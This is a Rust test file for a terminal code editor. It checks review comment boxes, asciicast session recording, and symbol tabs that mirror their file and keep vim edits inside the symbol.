    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&file).unwrap();
    app.review_boxes = Some((
        file.clone(),
        vec![crate::review_threads::Thread {
            id: 99,
            author: String::from("ada"),
            body: String::from("dismiss me"),
            path: String::from("a.rs"),
            anchor: crate::review_threads::Anchor::At(0),
            resolved: false,
        }],
    ));

    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    assert!(app.editor.comment_boxes.iter().any(|b| b.id == 99));

    app.ignore_comment_box(99);
    term.draw(|f| app.render(f)).unwrap();
    assert!(
        !app.editor.comment_boxes.iter().any(|b| b.id == 99),
        "the ignored review box came back on the next frame"
    );
}

/// #366: F4 reaches review boxes, not only navigator notes.
///
/// The boxes render on a shared surface with a shared hit-test, so a
/// keyboard walk that reads `navigator_notes` alone leaves them visible but
/// unreachable — and reports "No navigator comments in this file" while
/// several are on screen.
#[test]
fn the_comment_walk_reaches_review_boxes() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("a.rs");
    std::fs::write(&file, "one\ntwo\nthree\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&file).unwrap();
    app.review_boxes = Some((
        file.clone(),
        vec![crate::review_threads::Thread {
            id: 55,
            author: String::from("ada"),
            body: String::from("reachable?"),
            path: String::from("a.rs"),
            anchor: crate::review_threads::Anchor::At(2),
            resolved: false,
        }],
    ));

    // Deliberately NO render first: `comment_boxes` is a render output, so
    // a walk that read it would depend on a frame having been drawn and
    // would find nothing on an F4 pressed before the first one.
    app.editor.cursor_row = 0;
    assert_eq!(
        app.next_comment_from_caret().map(|(id, _)| id),
        Some(55),
        "F4 skipped the review box entirely"
    );
}

/// #366: a navigator note and a review comment on ONE line keep a stable
/// order, and the review box carries its own text.
///
/// The merge appends review boxes after the navigator's, which is the order
/// the render comment promises. Asserting on ids alone would pass under a
/// merge that mangled every other field, so this pins the whole tuple:
/// a swap of the two sources, a wrong line, or a body taken from the wrong
/// thread all fail here.
#[test]
fn a_navigator_note_and_a_review_comment_on_one_line_keep_a_stable_order() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("a.rs");
    std::fs::write(&file, "one\ntwo\nthree\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_file_at_launch(&file);
    app.navigator_notes
        .insert("a.rs".into(), vec![(1, 1, "the navigator's note".into())]);
    app.review_boxes = Some((
        file.clone(),
        vec![crate::review_threads::Thread {
            id: 4_000_000_001,
            author: String::from("ada"),
            body: String::from("the reviewer's objection"),
            path: String::from("a.rs"),
            // Same row as the navigator's note.
            anchor: crate::review_threads::Anchor::At(1),
            resolved: false,
        }],
    ));

    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    let got: Vec<(u64, usize, String)> = app
        .editor
        .comment_boxes
        .iter()
        .map(|b| (b.id, b.line, b.body.clone()))
        .collect();
    assert_eq!(
        got,
        vec![
            (1, 1, String::from("the navigator's note")),
            (4_000_000_001, 1, String::from("the reviewer's objection")),
        ],
        "the navigator's note must come first and each box keep its own text"
    );
}

/// #366: review boxes follow the open file through a rename.
///
/// Both guards compare the stored path against `editor.path`, so a rename
/// that repoints the tab without repointing the field makes the boxes
/// vanish from the buffer the user is still editing.
#[test]
fn review_boxes_follow_the_open_file_through_a_rename() {
    let tmp = tempfile::tempdir().unwrap();
    let old = tmp.path().join("a.rs");
    let new = tmp.path().join("renamed.rs");
    std::fs::write(&old, "one\ntwo\nthree\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&old).unwrap();
    app.review_boxes = Some((
        old.clone(),
        vec![crate::review_threads::Thread {
            id: 66,
            author: String::from("ada"),
            body: String::from("still mine"),
            path: String::from("a.rs"),
            anchor: crate::review_threads::Anchor::At(1),
            resolved: false,
        }],
    ));

    // Driven through the real rename prompt rather than by calling the
    // helpers directly: hand-calling them tests the helper's logic while
    // leaving the WIRING untested, so deleting the call from the rename
    // handler would keep passing.
    app.prompt = Some(super::Prompt {
        label: String::from("Rename a.rs"),
        buffer: String::from("renamed.rs"),
        kind: super::PromptKind::Rename(old.clone()),
        target_dir: tmp.path().to_path_buf(),
        error: None,
    });
    app.commit_prompt();
    assert!(
        app.prompt.is_none(),
        "the rename prompt should have committed"
    );
    assert_eq!(
        app.editor.path.as_deref(),
        Some(new.as_path()),
        "the tab should have followed the rename"
    );

    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    assert!(
        app.editor.comment_boxes.iter().any(|b| b.id == 66),
        "the rename orphaned the review boxes: {:?}",
        app.editor
            .comment_boxes
            .iter()
            .map(|b| b.id)
            .collect::<Vec<_>>()
    );
}

/// #356: a recording produces a file that is asciicast v2 all the way
/// through, header and every event.
///
/// Asserted by PARSING the file rather than by matching strings: the format
/// exists to be read by `asciinema play` and `agg`, and a cast that looks
/// right but does not parse fails at the moment someone tries to share it.
/// A terminal stream is full of quotes and escape bytes, so this is the
/// failure mode that actually happens.
#[test]
fn a_recording_writes_a_parseable_asciicast() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminals[0].last_area = ratatui::layout::Rect {
        x: 0,
        y: 0,
        width: 80,
        height: 24,
    };

    // The PTY grid is sized from the pane's INNER rect, so the header must
    // be too — `Borders::ALL` takes a cell on each side. Recording the outer
    // size declares a terminal two columns wider than the content was
    // wrapped for, and the player re-wraps every long line at the wrong
    // column.
    app.terminals[0].last_inner = ratatui::layout::Rect {
        x: 1,
        y: 1,
        width: 78,
        height: 22,
    };

    app.run_command(crate::widgets::command_palette::Command::ToggleSessionRecording);
    assert!(app.recording.is_some(), "recording started: {}", app.status);

    // Output carrying the characters that break a hand-rolled encoder.
    app.record_terminal_output("\u{1b}[32m\"quoted\" \\ back\u{1b}[0m");
    app.record_resize(132, 50);
    app.record_terminal_output("after the resize");

    app.run_command(crate::widgets::command_palette::Command::ToggleSessionRecording);
    assert!(app.recording.is_none(), "recording stopped: {}", app.status);

    // Found by LISTING rather than by rebuilding the name. A test that
    // recomputes the path asserts against its own copy of the naming rule,
    // so it would keep passing if production's rule changed — the same
    // stand-in problem as asserting against a helper you wrote yourself.
    let path = std::fs::read_dir(app.workspace_root())
        .unwrap()
        .filter_map(|e| e.ok().map(|e| e.path()))
        .find(|p| p.extension().is_some_and(|x| x == "cast"))
        .expect("a .cast file was written");

    let text = std::fs::read_to_string(&path).expect("the cast file exists");
    let mut lines = text.lines();

    let header: serde_json::Value =
        serde_json::from_str(lines.next().expect("a header line")).expect("header is JSON");
    assert_eq!(header["version"], 2);
    assert_eq!(
        header["width"], 78,
        "the header must carry the GRID size, not the bordered pane's"
    );
    assert_eq!(header["height"], 22);

    let mut kinds = Vec::new();
    let mut last_time = -1.0f64;
    for line in lines {
        let ev: serde_json::Value = serde_json::from_str(line)
            .unwrap_or_else(|e| panic!("event is not JSON: {line:?} — {e}"));
        let t = ev[0].as_f64().expect("a numeric timestamp");
        assert!(
            t >= last_time,
            "time went backwards: {t} after {last_time} — a player would hang"
        );
        last_time = t;
        kinds.push(ev[1].as_str().unwrap_or("?").to_string());
    }
    assert!(
        kinds.iter().any(|k| k == "o") && kinds.iter().any(|k| k == "r"),
        "both output and resize events must reach the file: {kinds:?}"
    );
}

/// A file with two functions, `fn b` the LAST thing in it (no trailing
/// newline), opened with the caret inside `fn b` and the symbol tab opened
/// from the palette.
fn app_with_symbol_tab_on_b(tmp: &tempfile::TempDir) -> (App, std::path::PathBuf) {
    let file = tmp.path().join("two.rs");
    std::fs::write(&file, "fn a() {\n    1\n}\nfn b() {\n    2\n}").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    app.editor.cursor_row = 4;
    app.run_command(crate::widgets::command_palette::Command::OpenAsSymbolTab);
    (app, file)
}

fn painted(app: &mut App) -> String {
    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let mut all = String::new();
    for y in 0..30 {
        for x in 0..100 {
            all.push_str(term.backend().buffer()[(x, y)].symbol());
        }
        all.push('\n');
    }
    all
}

/// #369: a file and its symbol tab count edits apart, but one of them
/// speaks for the file to the language server: the active tab. Judged
/// each against the one record, they took turns resending the whole text
/// on every tick.
#[test]
fn one_tab_speaks_for_a_file_to_the_language_server() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("two.rs");
    std::fs::write(&file, "fn a() {\n    1\n}\nfn b() {\n    2\n}").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    app.editor.cursor_row = 1;
    app.editor.cursor_col = 5;
    for _ in 0..3 {
        app.editor.insert_char('1');
    }
    app.editor.cursor_row = 4;
    app.run_command(crate::widgets::command_palette::Command::OpenAsSymbolTab);
    app.sync_symbol_views();
    assert!(app.editor.symbol_view.is_some(), "the symbol tab is active");
    let path = app.editor.path.clone().unwrap();
    assert_ne!(
        app.editor.editors[0].edit_seq, app.editor.edit_seq,
        "the tabs' counters differ"
    );
    let mut seen = Vec::new();
    for _ in 0..3 {
        app.sync_lsp();
        seen.push(app.lsp_last_seen.get(&path).copied());
    }
    let active = Some(app.editor.edit_seq);
    assert_eq!(seen, vec![active, active, active], "no tick resends");
}

/// An LSP edit applied to the file's tab while its symbol tab is active
/// survives the next keystroke in the symbol tab: both tabs changed, and
/// the keystroke's tab used to be copied over the rename.
#[test]
fn a_rename_landing_before_a_keystroke_in_a_symbol_tab_is_kept() {
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, file) = app_with_symbol_tab_on_b(&tmp);
    app.sync_symbol_views();
    app.focus = Pane::Editor;
    let edits = vec![(
        file.clone(),
        vec![crate::widgets::editor::TextSpanEdit {
            start: (0, 3),
            end: (0, 4),
            new_text: String::from("renamed"),
            utf16: false,
        }],
    )];
    app.apply_rename_edits(&edits).unwrap();
    app.handle_key(crossterm::event::KeyEvent::new(
        crossterm::event::KeyCode::Char('x'),
        crossterm::event::KeyModifiers::NONE,
    ))
    .unwrap();
    app.sync_symbol_views();
    let file_tab = app
        .editor
        .editors
        .iter()
        .find(|t| t.symbol_view.is_none() && t.path.as_deref() == Some(file.as_path()))
        .expect("the file's own tab");
    assert!(
        file_tab.lines[0].contains("renamed"),
        "{:?}",
        file_tab.lines
    );
    assert!(
        file_tab.lines.iter().any(|l| l.contains('x')),
        "{:?}",
        file_tab.lines
    );
}

#[test]
fn peek_references_with_nothing_to_ask_does_not_arm_on_a_stale_request() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(app.editor.path.is_none());
    app.references_request_id = Some(7);
    app.peek_references_at_cursor();
    assert!(!app.references_want_peek);
    assert_eq!(app.references_request_id, None);
}

/// A file of three functions with a symbol tab on the middle one, `b`
/// (lines 3 to 5), active, and vim on.
fn vim_symbol_tab_on_b(tmp: &tempfile::TempDir) -> App {
    let file = tmp.path().join("three.rs");
    std::fs::write(
        &file,
        "fn a() {\n    1\n}\nfn b() {\n    2\n}\nfn c() {\n    3\n}",
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    app.editor.cursor_row = 4;
    app.run_command(crate::widgets::command_palette::Command::OpenAsSymbolTab);
    app.sync_symbol_views();
    let view = app.editor.symbol_view.as_ref().expect("a symbol tab on b");
    assert_eq!((view.first, view.last), (3, 5));
    app.focus = Pane::Editor;
    app.vim.enabled = true;
    app
}

/// #369: vim operators in a symbol tab stay inside its symbol. Upward
/// (`dgg`, `d5k`, `db` at its first column) they used to reach the hidden
/// lines above it, downward (`dG`, `dw` at its end) the ones below; inside
/// it they still delete what they cover.
#[test]
fn vim_operators_in_a_symbol_tab_stay_inside_its_symbol() {
    let a = ["fn a() {", "    1", "}"];
    let c = ["fn c() {", "    3", "}"];
    let whole = [&a[..], &["fn b() {", "    2", "}"], &c[..]].concat();
    // (keys, caret, the buffer after)
    let cases: [(&str, (usize, usize), Vec<&str>); 5] = [
        ("dgg", (4, 0), [&a[..], &["}"], &c[..]].concat()),
        ("d5k", (4, 0), [&a[..], &["}"], &c[..]].concat()),
        ("db", (3, 0), whole.clone()),
        ("dG", (4, 0), [&a[..], &["fn b() {"], &c[..]].concat()),
        (
            "dw",
            (5, 0),
            [&a[..], &["fn b() {", "    2", ""], &c[..]].concat(),
        ),
    ];
    for (keys, (row, col), after) in cases {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = vim_symbol_tab_on_b(&tmp);
        app.editor.cursor_row = row;
        app.editor.cursor_col = col;
        vim_feed_str(&mut app, keys);
        assert_eq!(app.editor.lines, after, "{keys}");
    }
}

/// #369: a count on a line operator stops at the symbol's last line, and
/// the status reports the lines it covered.
#[test]
fn a_vim_line_count_in_a_symbol_tab_stops_at_its_last_line() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = vim_symbol_tab_on_b(&tmp);
    app.editor.cursor_row = 4;
    app.editor.cursor_col = 0;
    vim_feed_str(&mut app, "5yy");
    assert_eq!(app.status, "Yanked 2 line(s)");
}

/// #369: two symbols that start on one line get a tab each, opening either
/// again focuses its own tab, and each follows its own symbol: renaming the
/// inner one leaves the outer tab's title alone.
#[test]
fn symbols_starting_on_one_line_get_a_tab_each() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("one.rs");
    std::fs::write(&file, "impl S { fn m() {} }\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    app.open_symbol_tab_for("S".into(), 0, 0);
    app.editor.select(0);
    app.open_symbol_tab_for("m".into(), 0, 0);
    let names = |app: &App| -> Vec<String> {
        let mut names: Vec<String> = app
            .editor
            .editors
            .iter()
            .filter_map(|e| e.symbol_view.as_ref().map(|v| v.name.clone()))
            .collect();
        names.sort();
        names
    };
    assert_eq!(names(&app), vec!["S", "m"]);
    app.editor.select(0);
    app.open_symbol_tab_for("S".into(), 0, 0);
    assert_eq!(names(&app).len(), 2, "reopening S focused its tab");
    assert_eq!(
        app.editor.symbol_view.as_ref().map(|v| v.name.as_str()),
        Some("S")
    );
    // Rename m to n from the file's tab.
    app.editor.select(0);
    let col = app.editor.lines[0].find("m()").unwrap();
    app.editor.cursor_row = 0;
    app.editor.cursor_col = col;
    app.editor.delete_forward();
    app.editor.insert_char('n');
    app.sync_symbol_views();
    assert_eq!(names(&app), vec!["S", "n"]);
}

/// #369: pickers spell some symbols differently (the LSP outline's
/// `impl Foo` is tree-sitter's `Foo`); asking for the same symbol under
/// either name focuses the one tab.
#[test]
fn one_symbol_under_two_spellings_gets_one_tab() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("foo.rs");
    std::fs::write(&file, "impl Foo {\n    fn a() {}\n}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    app.open_symbol_tab_for("Foo".into(), 0, 2);
    app.editor.select(0);
    app.open_symbol_tab_for("impl Foo".into(), 0, 2);
    let tabs = app
        .editor
        .editors
        .iter()
        .filter(|e| e.symbol_view.is_some())
        .count();
    assert_eq!(tabs, 1);
}

/// #369: a symbol tab's minimap draws only its symbol, and a click on it
/// lands on the symbol's lines, not the file's.
#[test]
fn a_symbol_tab_minimap_draws_and_maps_only_its_symbol() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("mm.rs");
    std::fs::write(&file, "fn a() {\n    1\n}\n  fn b() {\n    2\n  }").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    let (bg, fg) = ((0, 0, 0), (255, 255, 255));
    // Row 0, column 0: `f` of `fn a` in the file's tab.
    let lit = |buf: &[u8]| buf[0] != 0;
    assert!(lit(&app.editor.minimap_rgba(4, 3, 3, bg, fg)));
    app.editor.cursor_row = 4;
    app.run_command(crate::widgets::command_palette::Command::OpenAsSymbolTab);
    assert_eq!(app.editor.minimap_span(), (3, 6));
    // `  fn b`: column 0 is indentation.
    assert!(!lit(&app.editor.minimap_rgba(4, 3, 3, bg, fg)));
    app.minimap_img_rect = Rect::new(0, 0, 2, 3);
    app.cell_pixel = Some((1, 1));
    app.minimap_content_h = 3;
    app.minimap_scroll_to_row(0);
    assert_eq!(
        app.editor.cursor_row, 3,
        "the top of the strip is b's first line"
    );
}

/// #369: a documented symbol starts on its doc comment in the LSP outline
/// and on its item in the tree-sitter one; opened from both it gets one tab.
#[test]
fn a_documented_symbol_opened_from_both_outlines_gets_one_tab() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("doc.rs");
    std::fs::write(&file, "/// doc\nfn foo() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    app.open_symbol_tab_for("foo".into(), 1, 1);
    app.editor.select(0);
    app.open_symbol_tab_for("foo".into(), 0, 1);
    let tabs = app
        .editor
        .editors
        .iter()
        .filter(|e| e.symbol_view.is_some())
        .count();
    assert_eq!(tabs, 1);
    assert!(
        app.editor.symbol_view.is_some(),
        "the existing tab is focused"
    );
}

/// #369: two same-named symbols of one kind and depth (a `fn new` in each
/// of two impls) are told apart by the line their item starts on.
#[test]
fn same_named_symbols_on_different_lines_get_a_tab_each() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("news.rs");
    std::fs::write(
        &file,
        "impl A {\n    fn new() {}\n}\nimpl B {\n    fn new() {}\n}\n",
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    app.open_symbol_tab_for("new".into(), 1, 1);
    app.editor.select(0);
    app.open_symbol_tab_for("new".into(), 4, 4);
    let tabs = app
        .editor
        .editors
        .iter()
        .filter(|e| e.symbol_view.is_some())
        .count();
    assert_eq!(tabs, 2);
}

/// #369: switching between two symbol tabs of the same length repaints the
/// minimap (their other layout fields agree), and its viewport and
/// selection count from the symbol's first line.
#[test]
fn switching_between_same_length_symbol_tabs_repaints_the_minimap() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("two.rs");
    std::fs::write(&file, "fn a() {\n    1\n}\nfn b() {\n    2\n}").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.cell_pixel = Some((8, 16));
    app.inline_protocol = crate::iterm2_inline::InlineImageProtocol::Kitty;
    app.editor.open_pinned(&file).unwrap();
    app.open_symbol_tab_for("a".into(), 0, 2);
    app.editor.select(0);
    app.open_symbol_tab_for("b".into(), 3, 5);
    let tab = |app: &App, name: &str| {
        app.editor
            .editors
            .iter()
            .position(|e| e.symbol_view.as_ref().is_some_and(|v| v.name == name))
            .unwrap()
    };
    let (a, b) = (tab(&app, "a"), tab(&app, "b"));
    let strip = Rect::new(100, 1, 6, 20);
    app.editor.select(a);
    app.update_minimap_overlay(strip);
    assert_eq!(app.minimap_base.as_ref().map(|m| m.sig.5), Some((0, 3)));
    app.editor.select(b);
    app.update_minimap_overlay(strip);
    assert_eq!(app.minimap_base.as_ref().map(|m| m.sig.5), Some((3, 6)));
    app.editor.selection = Some(crate::widgets::editor::EditorSelection {
        anchor: (3, 0),
        head: (4, 2),
    });
    app.update_minimap_overlay(strip);
    let layout = app.overlays.minimap.layout().expect("laid out");
    assert_eq!((layout.top, layout.selection), (0, Some((0, 1))));
}

/// #369: a symbol tab is a tab of its own that shows only its symbol.
///
/// Opened beside the file's tab, titled by the symbol, holding the whole
/// file (so LSP, save and line numbers stay in file coordinates) while it
/// paints only the symbol's lines. `fn b` is the last symbol in the file:
/// its range must stop at the buffer's end, not a separator byte past it.
#[test]
fn a_symbol_tab_opens_beside_its_file_showing_only_the_symbol() {
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, file) = app_with_symbol_tab_on_b(&tmp);

    assert_eq!(app.editor.editors.len(), 2, "a NEW tab, not a replaced one");
    assert_eq!(app.editor.active_index(), 1, "placed after its file's tab");
    let tab = &app.editor.editors[1];
    assert_eq!(tab.path.as_deref(), Some(file.as_path()));
    let view = tab.symbol_view.as_ref().expect("the tab is a symbol tab");
    assert_eq!((view.name.as_str(), view.first, view.last), ("b", 3, 5));
    let text = tab.lines.join("\n");
    assert_eq!(
        &text[view.range.start..view.range.end],
        "fn b() {\n    2\n}",
        "the range slices exactly the symbol, up to the buffer's end"
    );
    assert_eq!(tab.cursor_row, 4, "the caret stays where it was");

    // Scrolled to the top, the clip, not the scroll, keeps `fn a` out.
    app.editor.scroll = 0;
    let screen = painted(&mut app);
    assert!(
        screen.contains("b \u{b7} two.rs"),
        "titled by its symbol:\n{screen}"
    );
    assert!(
        screen.contains("fn b() {"),
        "the symbol is shown:\n{screen}"
    );
    assert!(
        !screen.contains("fn a() {"),
        "nothing outside the symbol is painted:\n{screen}"
    );

    // Opening it again focuses the existing tab rather than stacking one.
    app.editor.select(0);
    app.editor.cursor_row = 5;
    app.run_command(crate::widgets::command_palette::Command::OpenAsSymbolTab);
    assert_eq!(app.editor.editors.len(), 2);
    assert_eq!(app.editor.active_index(), 1);
}

/// #369: the caret and every edit stay inside the symbol.
///
/// Motions stop at its edges, and the edits that would join its first or
/// last line to a line outside it (Backspace at its start, Delete at its
/// end, moving a line across its edge) do nothing, rather than pulling text
/// the tab cannot show into or out of it.
#[test]
fn a_symbol_tab_keeps_the_caret_and_edits_inside_its_symbol() {
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, _) = app_with_symbol_tab_on_b(&tmp);
    let before = app.editor.lines.clone();

    app.editor.cursor_row = 3;
    app.editor.cursor_col = 0;
    app.handle_key(key(KeyCode::Up, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(
        app.editor.cursor_row, 3,
        "Up stops at the symbol's first line"
    );
    app.handle_key(key(KeyCode::Backspace, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(
        app.editor.lines, before,
        "Backspace at its start joins nothing"
    );
    app.handle_key(key(KeyCode::Up, KeyModifiers::ALT)).unwrap();
    assert_eq!(
        app.editor.lines, before,
        "its first line cannot move above it"
    );

    app.editor.cursor_row = 5;
    app.editor.cursor_col = 0;
    app.handle_key(key(KeyCode::Down, KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::End, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(
        (app.editor.cursor_row, app.editor.cursor_col),
        (5, 1),
        "the caret parks at the symbol's end"
    );
    app.handle_key(key(KeyCode::Delete, KeyModifiers::NONE))
        .unwrap();
    app.editor.cursor_row = 5;
    app.handle_key(key(KeyCode::Down, KeyModifiers::ALT))
        .unwrap();
    assert_eq!(
        app.editor.lines, before,
        "Delete and Alt+Down stop at its end"
    );

    // An ordinary edit inside still works.
    app.editor.cursor_row = 4;
    app.editor.cursor_col = 5;
    app.handle_key(key(KeyCode::Char('0'), KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.editor.lines[4], "    20");
}

/// #369: a symbol tab and its file's tab are one document.
///
/// Typing in either shows up in the other, an edit above the symbol moves
/// the clip with it, saving either clears both dirty dots, and a symbol
/// that is deleted closes its tab with a note saying why.
#[test]
fn a_symbol_tab_mirrors_its_file_and_follows_the_symbol() {
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, file) = app_with_symbol_tab_on_b(&tmp);
    app.sync_symbol_views();

    // Typing in the symbol tab reaches the file's tab.
    app.editor.cursor_row = 4;
    app.editor.cursor_col = 5;
    app.handle_key(key(KeyCode::Char('7'), KeyModifiers::NONE))
        .unwrap();
    // The key itself mirrors the edit, so nothing is left for the tick.
    assert!(!app.sync_symbol_views());
    assert_eq!(app.editor.editors[0].lines[4], "    27");
    assert!(
        app.editor.editors[0].dirty,
        "the file's tab has the unsaved edit"
    );

    // Lines added above the symbol in the file's tab move the clip down.
    app.editor.select(0);
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 0;
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    app.sync_symbol_views();
    let tab = &app.editor.editors[1];
    assert_eq!(tab.lines, app.editor.editors[0].lines);
    let view = tab.symbol_view.as_ref().unwrap();
    assert_eq!(
        (view.first, view.last),
        (4, 6),
        "the clip moved with its symbol"
    );

    // Saving one clears both.
    app.editor.editors[0].save_to_disk().unwrap();
    app.sync_symbol_views();
    assert!(
        !app.editor.editors[1].dirty,
        "the saved text is the symbol tab's text too"
    );
    assert_eq!(
        std::fs::read_to_string(&file).unwrap(),
        "\nfn a() {\n    1\n}\nfn b() {\n    27\n}"
    );

    // Renaming the symbol retitles the tab.
    app.editor.select(1);
    app.editor.cursor_row = 4;
    app.editor.cursor_col = 4;
    app.handle_key(key(KeyCode::Char('x'), KeyModifiers::NONE))
        .unwrap();
    app.sync_symbol_views();
    assert_eq!(
        app.editor.editors[1].symbol_view.as_ref().unwrap().name,
        "bx"
    );

    // Deleting it closes the tab.
    app.editor.select(0);
    let kept: Vec<String> = app.editor.lines[..4].to_vec();
    app.editor.replace_all_lines(kept);
    app.sync_symbol_views();
    assert_eq!(app.editor.editors.len(), 1, "the symbol tab closed");
    assert!(app.editor.editors[0].symbol_view.is_none());
    assert!(
        app.status.contains("bx") && app.status.contains("gone"),
        "the user is told which tab closed and why: {}",
        app.status
    );
}

/// #369: Alt+Enter in the workspace-symbol picker opens the symbol tab even
/// when the server names the file through a symlink.
///
/// The jump lands on the tab already open under the real path, so the
/// landed check has to compare the two spellings by their canonical form.
#[cfg(unix)]
#[test]
fn alt_enter_on_a_symlinked_symbol_still_opens_its_tab() {
    let tmp = tempfile::tempdir().unwrap();
    let root = std::fs::canonicalize(tmp.path()).unwrap();
    let file = root.join("two.rs");
    std::fs::write(&file, "fn a() {\n    1\n}\nfn b() {\n    2\n}").unwrap();
    let link = root.join("link.rs");
    std::os::unix::fs::symlink(&file, &link).unwrap();
    let mut app = App::new(root.clone()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    app.open_workspace_symbols("b");
    app.ws_symbols_request_id = Some(1);
    app.apply_workspace_symbols(1, vec![ws_item("b", &link, 3)], false);
    app.handle_key(key(KeyCode::Enter, KeyModifiers::ALT))
        .unwrap();
    let view = app
        .editor
        .symbol_view
        .as_ref()
        .expect("the symbol tab opened");
    assert_eq!(view.name, "b");
}

/// #369: duplicating the symbol's last line keeps the copy inside it.
///
/// The copy lands below the closing brace, so the clip has to grow by the
/// one line rather than leave the new line outside the tab.
#[test]
fn duplicating_a_symbols_last_line_keeps_the_copy_inside_the_tab() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("two.rs");
    std::fs::write(&file, "fn a() {\n    1\n}\nfn b() {\n    2\n}").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    app.editor.cursor_row = 1;
    app.run_command(crate::widgets::command_palette::Command::OpenAsSymbolTab);
    app.sync_symbol_views();
    let view = app.editor.symbol_view.as_ref().expect("symbol tab on a");
    assert_eq!((view.first, view.last), (0, 2));

    app.editor.cursor_row = 2;
    app.editor.cursor_col = 0;
    app.editor.duplicate_lines_down();
    app.sync_symbol_views();
    assert_eq!(
        app.editor.lines[..5],
        ["fn a() {", "    1", "}", "}", "fn b() {"]
    );
    let view = app.editor.symbol_view.as_ref().expect("still a symbol tab");
    assert_eq!((view.first, view.last), (0, 3), "the clip grew by the copy");
    assert_eq!(app.editor.cursor_row, 3, "the caret sits on the copy");
}

/// #369: saving the file's tab leaves no disk conflict on its symbol tab.
///
/// The symbol tab holds the same text that was just written, so the next
/// external-change check must see it as in sync with disk instead of
/// offering to reload over the saved edit.
#[test]
fn saving_the_files_tab_leaves_no_conflict_on_its_symbol_tab() {
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, _) = app_with_symbol_tab_on_b(&tmp);
    app.sync_symbol_views();
    app.editor.cursor_row = 4;
    app.editor.cursor_col = 5;
    app.handle_key(key(KeyCode::Char('7'), KeyModifiers::NONE))
        .unwrap();
    assert!(app.editor.editors[1].dirty);

    app.editor.editors[0].save_to_disk().unwrap();
    app.sync_symbol_views();
    assert!(
        !app.reload_open_file_after_external_change(),
        "the symbol tab already holds the saved text"
    );
    assert!(app.input_prompt.is_none(), "no reload prompt");
    assert_eq!(app.editor.editors[1].lines[4], "    27");
}

/// #369: Cmd+S in the symbol tab writes the file and leaves both tabs clean,
/// with no conflict for the file's tab, which holds the same text.
#[test]
fn cmd_s_in_a_symbol_tab_saves_the_file_and_cleans_both_tabs() {
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, file) = app_with_symbol_tab_on_b(&tmp);
    app.sync_symbol_views();
    app.editor.cursor_row = 4;
    app.editor.cursor_col = 5;
    app.handle_key(key(KeyCode::Char('7'), KeyModifiers::NONE))
        .unwrap();
    assert!(app.editor.editors[0].dirty, "the file's tab has the edit");
    app.handle_key(key(KeyCode::Char('s'), KeyModifiers::SUPER))
        .unwrap();
    assert_eq!(
        std::fs::read_to_string(&file).unwrap(),
        "fn a() {\n    1\n}\nfn b() {\n    27\n}"
    );
    assert!(!app.editor.editors[1].dirty, "the symbol tab is saved");
    assert!(!app.editor.editors[0].dirty, "so is the file's tab");
    assert!(
        !app.reload_open_file_after_external_change(),
        "the file's tab already holds the saved text"
    );
    assert!(app.input_prompt.is_none(), "no reload prompt");
}

